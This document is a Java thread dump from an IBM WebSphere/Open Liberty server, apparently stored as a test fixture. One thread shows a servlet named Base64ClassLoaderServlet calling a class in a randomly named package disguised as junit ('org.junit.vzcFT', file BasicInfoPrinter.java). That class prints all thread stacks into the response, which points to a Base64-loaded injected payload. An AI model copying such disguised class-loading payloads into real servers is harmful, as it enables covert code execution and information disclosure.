at org.apache.felix.scr.impl.manager.SingleComponentManager.invokeBindMethod(SingleComponentManager.java:443) + at org.apache.felix.scr.impl.manager.DependencyManager$MultipleDynamicCustomizer.addedService(DependencyManager.java:337) + at org.apache.felix.scr.impl.manager.DependencyManager$MultipleDynamicCustomizer.addedService(DependencyManager.java:304) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1232) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1152) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.trackAdding(ServiceTracker.java:959) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.track(ServiceTracker.java:895) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.serviceChanged(ServiceTracker.java:1184) + at org.apache.felix.scr.impl.BundleComponentActivator$ListenerInfo.serviceChanged(BundleComponentActivator.java:116) + at org.eclipse.osgi.internal.serviceregistry.FilteredServiceListener.serviceChanged(FilteredServiceListener.java:134) + at org.eclipse.osgi.internal.framework.BundleContextImpl.dispatchEvent(BundleContextImpl.java:988) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230) + at org.eclipse.osgi.framework.eventmgr.ListenerQueue.dispatchEventSynchronous(ListenerQueue.java:151) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEventPrivileged(ServiceRegistry.java:999) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEvent(ServiceRegistry.java:933) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistrationImpl.register(ServiceRegistrationImpl.java:146) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.registerService(ServiceRegistry.java:321) + at org.eclipse.osgi.internal.framework.BundleContextImpl.registerService(BundleContextImpl.java:495) + at org.apache.felix.scr.impl.manager.AbstractComponentManager$3.register(AbstractComponentManager.java:929) + at org.apache.felix.scr.impl.manager.AbstractComponentManager$3.register(AbstractComponentManager.java:915) + at org.apache.felix.scr.impl.manager.RegistrationManager.changeRegistration(RegistrationManager.java:133) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.registerService(AbstractComponentManager.java:984) + at org.apache.felix.scr.impl.manager.AbstractComponentManager.activateInternal(AbstractComponentManager.java:752) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer.addedService(DependencyManager.java:1287) + at org.apache.felix.scr.impl.manager.DependencyManager$SingleStaticCustomizer.addedService(DependencyManager.java:1238) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1232) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.customizerAdded(ServiceTracker.java:1152) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.trackAdding(ServiceTracker.java:959) + at org.apache.felix.scr.impl.manager.ServiceTracker$AbstractTracked.track(ServiceTracker.java:895) + at org.apache.felix.scr.impl.manager.ServiceTracker$Tracked.serviceChanged(ServiceTracker.java:1184) + at org.apache.felix.scr.impl.BundleComponentActivator$ListenerInfo.serviceChanged(BundleComponentActivator.java:116) + at org.eclipse.osgi.internal.serviceregistry.FilteredServiceListener.serviceChanged(FilteredServiceListener.java:134) + at org.eclipse.osgi.internal.framework.BundleContextImpl.dispatchEvent(BundleContextImpl.java:988) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230) + at org.eclipse.osgi.framework.eventmgr.ListenerQueue.dispatchEventSynchronous(ListenerQueue.java:151) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEventPrivileged(ServiceRegistry.java:999) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.publishServiceEvent(ServiceRegistry.java:933) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistrationImpl.register(ServiceRegistrationImpl.java:146) + at org.eclipse.osgi.internal.serviceregistry.ServiceRegistry.registerService(ServiceRegistry.java:321) + at org.eclipse.osgi.internal.framework.BundleContextImpl.registerService(BundleContextImpl.java:495) + at org.eclipse.osgi.internal.framework.BundleContextImpl.registerService(BundleContextImpl.java:515) + at org.eclipse.osgi.internal.framework.BundleContextImpl.registerService(BundleContextImpl.java:1068) + at com.ibm.ws.ssl.internal.KeystoreConfig.updateRegistration(KeystoreConfig.java:113) + at com.ibm.ws.ssl.internal.KeystoreConfigurationFactory.updated(KeystoreConfigurationFactory.java:115) + at com.ibm.ws.config.admin.internal.ManagedServiceFactoryTracker$2.run(ManagedServiceFactoryTracker.java:269) + at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) + at java.base/java.util.concurrent.FutureTask.run(Unknown Source) + at com.ibm.ws.config.admin.internal.UpdateQueue$Queue.run(UpdateQueue.java:68) + at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) + at java.base/java.util.concurrent.FutureTask.run(Unknown Source) + at java.base/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Common-Cleaner" #2 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue@76fb3bb7 + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + at java.base/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"Inbound Read Selector.1" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:172) + at java.base/java.lang.Thread.run(Unknown Source) + +"kernel-command-listener" #38 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.Net.accept(Native Method) + at java.base/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:372) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.startListening(ServerCommandListener.java:357) + at com.ibm.ws.kernel.launch.internal.FrameworkManager$8.run(FrameworkManager.java:944) + +"Inbound Read Selector.1" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:172) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-001" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-16" #98 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@aed25c3a + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-1" #54 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f5cda6e9 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-12" #94 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@1013f358 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-5" #60 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@327f6507 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-5" #79 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@11a64c8e + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-7" #89 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@4780917a + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-5" #59 daemon [WAITING] on java.util.TaskQueue@9485ae3f + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-2" #76 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@4fc7010a + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-9" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/java.lang.Thread.getStackTrace(Unknown Source) + at java.base/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.junit.vzcFT.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base/java.lang.String.valueOf(Unknown Source) + at java.base/java.io.PrintWriter.print(Unknown Source) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1262) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:751) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:448) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:197) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:100) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:203) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93) + at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:58) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:203) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:1069) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1260) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1078) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:77) + at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:87) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:978) + at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:293) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1563) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:761) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:721) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:571) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:505) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:365) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:332) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:169) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:77) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:513) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:583) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:967) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1056) + at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:344) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"reaper logger" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb6d1945 + java.lang.Thread.State: WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.park(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(Unknown Source) + at java.base/java.util.concurrent.ForkJoinPool.unmanagedBlock(Unknown Source) + at java.base/java.util.concurrent.ForkJoinPool.managedBlock(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.take(Unknown Source) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.take(ZipFileReaper.java:267) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter.run(ZipFileReaper.java:239) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-005 Suspended" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-10" #92 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fe0d4072 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Attach API update file access time" #28 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base/java.lang.Thread.sleepImpl(Native Method) + at java.base/java.lang.Thread.sleep(Unknown Source) + at java.base/java.lang.Thread.sleep(Unknown Source) + at java.base/openj9.internal.tools.attach.target.AttachHandler$1.run(Unknown Source) + +"Timer-2" #32 daemon [WAITING] on java.util.TaskQueue@7661ae22 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"JIT Compilation Thread-006 Suspended" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-8" #90 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@eb33100c + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Framework Event Dispatcher: Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #39 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@da5bde00 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:396) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:337) + +"Default Executor-thread-2" #55 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@36a72b63 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Timer-1" #31 daemon [WAITING] on java.util.TaskQueue@d7ed7251 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.util.TimerThread.mainLoop(Unknown Source) + at java.base/java.util.TimerThread.run(Unknown Source) + +"sib.SpillDispatcher-33677AE89962E502-4" #78 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@94faeb7a + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:578) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-21" #103 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a1319a62 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Shared TCPChannel NonBlocking Accept Thread" #64 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.EPoll.wait(Native Method) + at java.base/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base/sun.nio.ch.SelectorImpl.select(Unknown Source) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:172) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-19" #101 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@2fea1b81 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"JIT Compilation Thread-002" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-15" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.Net.accept(Native Method) + at java.base/sun.nio.ch.NioSocketImpl.accept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/java.net.ServerSocket.platformImplAccept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/sun.security.ssl.SSLServerSocketImpl.accept(Unknown Source) + at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:128) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:183) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:42) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:46) + at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) + at java.base/java.util.concurrent.FutureTask.run(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Thread-14" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base/sun.nio.ch.Net.accept(Native Method) + at java.base/sun.nio.ch.NioSocketImpl.accept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/java.net.ServerSocket.platformImplAccept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/java.net.ServerSocket.implAccept(Unknown Source) + at java.base/java.net.ServerSocket.accept(Unknown Source) + at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:128) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:183) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:42) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:46) + at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Unknown Source) + at java.base/java.util.concurrent.FutureTask.run(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Equinox start level thread - Equinox Container: 4cb9f774-85b4-4edf-93ad-f2176807ad8a" #43 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a6b2f2c2 + java.lang.Thread.State: TIMED_WAITING + at java.base/jdk.internal.misc.Unsafe.park(Native Method) + at java.base/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base/java.util.concurrent.LinkedBlockingQueue.poll(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"Default Executor-thread-3" #56 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c734c36e + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"GC Worker" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-11" #93 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fb2befe4 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:193) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:677) + at java.base/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base/java.lang.Thread.run(Unknown Source) + +"System defaultME : 0" #82 daemon [WAITING] on java.lang.Object@d823efa9 + java.lang.Thread.State: WAITING + at java.base/java.lang.Object.waitImpl(Native Method) + at java.base/java.lang.Object.wait(Unknown Source) + at java.base/java.lang.Object.wait(Unknown Source) + at 